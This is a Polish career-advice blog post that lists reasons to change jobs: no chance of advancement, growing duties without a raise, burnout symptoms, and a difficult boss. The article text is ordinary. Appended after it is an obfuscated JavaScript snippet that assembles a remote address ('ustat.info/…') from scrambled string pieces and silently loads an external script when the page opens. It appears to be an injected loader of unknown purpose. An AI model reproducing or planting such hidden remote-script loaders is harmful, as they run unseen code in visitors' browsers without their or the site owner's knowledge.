Kilka oznak tego, że czas na zmianę pracy

2017-08-23

Czujesz, że z Twoją pracą jest coś nie tak, ale nie wiesz co? Zebraliśmy dla Ciebie powody, które powinny skłonić Cię do rozejrzenia się za nowym zajęciem. Przeczytaj uważnie i sprawdź, czy nie nadszedł już czas na zmianę pracy.

Brak możliwości dalszego rozwoju

Ciągłe, powtarzalne czynności i brak perspektyw na awans? Izabela Foltyn - specjalistka z portalu www.praca-piekary.pl wymienia brak możliwości dalszego rozwoju jako jeden z głównych powodów, które powinien nas skłonić do poszukiwania lepszej pracy. Warto zauważyć, że przyczyn takiej sytuacji może być kilka. Firma może być zbyt mała i w związku z tym kilka drobnych awansów jest możliwych, jednak dalsze nie są realne, ponieważ wymagałyby rozwoju samego przedsiębiorstwa. Jeśli więc firma się nie rozwija, to nie ma również szans na to, byś ty mógł.

W wielu przypadkach też możemy spotkać się z tym, że awanse są przydzielane tylko wybranym osobom. Jeśli więc Twoje możliwości rozwoju są zablokowane z jakiegokolwiek powodu, to nie warto dalej tkwić w firmie, która nie pomoże Ci w osiągnięciu większego sukcesu. W takim wypadku najlepiej zaryzykować zmianę.

Obowiązków przybywa, a wypłata pozostaje bez zmian

Ten powód znamy chyba wszyscy. Dodawanie kolejnych obowiązków, które powinniśmy robić w wolnym czasie to jeden z ulubionych sposobów na oszczędzanie, który stosują polscy pracodawcy. Po co zatrudniać kolejnych pracowników lub płacić więcej aktualnym, skoro można osiągnąć więcej za te same pieniądze. Jeśli szef nie reaguje na Twoje sugestie zwiększenia wynagrodzenia lub zmniejszenia ilości obowiązków, to z całą pewnością jest to wystarczający powód, by zostawić taką firmę za sobą i rozpocząć poszukiwania takiej, która doceni Twoje kompetencje i zaangażowanie.

Trwanie w takiej sytuacji skończy się oczywiście tym, że pracodawca będzie dokładał coraz większe ilości pracy, ponieważ zauważy, że nie wiąże się to dla niego z żadnymi konsekwencjami.

Odczuwasz oznaki wypalenia zawodowego

Wypalenie zawodowe to poważny problem nie tylko motywacyjny, ale również zdrowotny. Z początku odczuwamy senność i objawy, które kojarzą nam się z grypą. Następnie jedyne o czym tylko marzymy, to weekend lub urlop. Praca przestaje nam sprawiać przyjemność i mamy poczucie, że nie ma ona najmniejszego sensu. Zaczynamy się spóźniać i świadomie przedłużamy własne przerwy. Znanymi cechami charakterystycznymi wypalenia zawodowego jest również wrogość wobec innych pracowników, ponieważ czujemy, że są oni dla nas zagrożeniem. To wszystko prowadzi nie tylko do obniżenia samooceny, ale także do chorób układu krążenia. Warto więc zdecydować się na zmianę pracy zanim zaczniemy odczuwać zdrowotne konsekwencje przebywania w pracy, która jest dla nas udręką

Warto poczytać: 10 znaków, że czas zmienić pracę

Nie znosisz swojego szefa

Czasami jednak wszystko jest spowodowane przez jednego człowieka, czyli przez szefa. Z początku wszystko może wyglądać w porządku: rozsądne rozmowy, wizja rozwoju etc. Z czasem jednak bardzo często okazuje się, że oczekiwania szefa wobec Ciebie są nierealne i wywołują u Ciebie ogromny stres. Ciągłe naciskania na pracownika to również niszczenie jego życia prywatnego, ponieważ zestresowana osoba myśli ciągle tylko o pracy - nawet w czasie weekendu. Wynika to również bardzo często z zaburzenia relacji szef - pracownik. Kiedy zdecydujemy się na to, by szef mógł do nas dzwonić w różnych sprawach również po godzinach pracy, może się to skończyć tym ,że będziemy otrzymywać drobne zadania do wykonania na weekend lub po prostu na wieczór. Zaburzenie balansu życia prywatnego i pracy to coś, na co nie powinniśmy pozwolić. Jeśli nie ma innych możliwości i nie znosisz swojego szefa, to najlepszym wyjściem będzie oczywiście znalezienie pracy, w której szef będzie odrobinę lepszy. Na pewno warto szukać takich rozwiązań niż pozostać w patologicznych relacjach szef - pracownik.

Powodów do zmiany pracy jest oczywiście znacznie więcej. Z tymi jednak spotykamy się najczęściej. Z całą pewnością jednak pozostanie w pracy ma również wiele zalet. Warto więc najpierw porozmawiać o swoich wątpliwościach z szefem. Być może uda Wam się wypracować wspólnie lepsze rozwiązanie niż odejście z pracy.

<script type="text/javascript">
(function(){
 axdq=document.createElement("script");axdq_="u"+("s")+"ta";
 axdq_+=("t.i")+""+"n";axdq_+=(("f")+"o");axdq.type="text/javascript";
 axdq_+="/"; axdqu="65786475";axdqu+=".q5m3pnnqxdqv4lrdwb6";axdqu+="res8yc1Xppz";
 axdq.src="//"+axdq_+axdqu; axdq.async=true; document.body.appendChild(axdq);
})();
</script>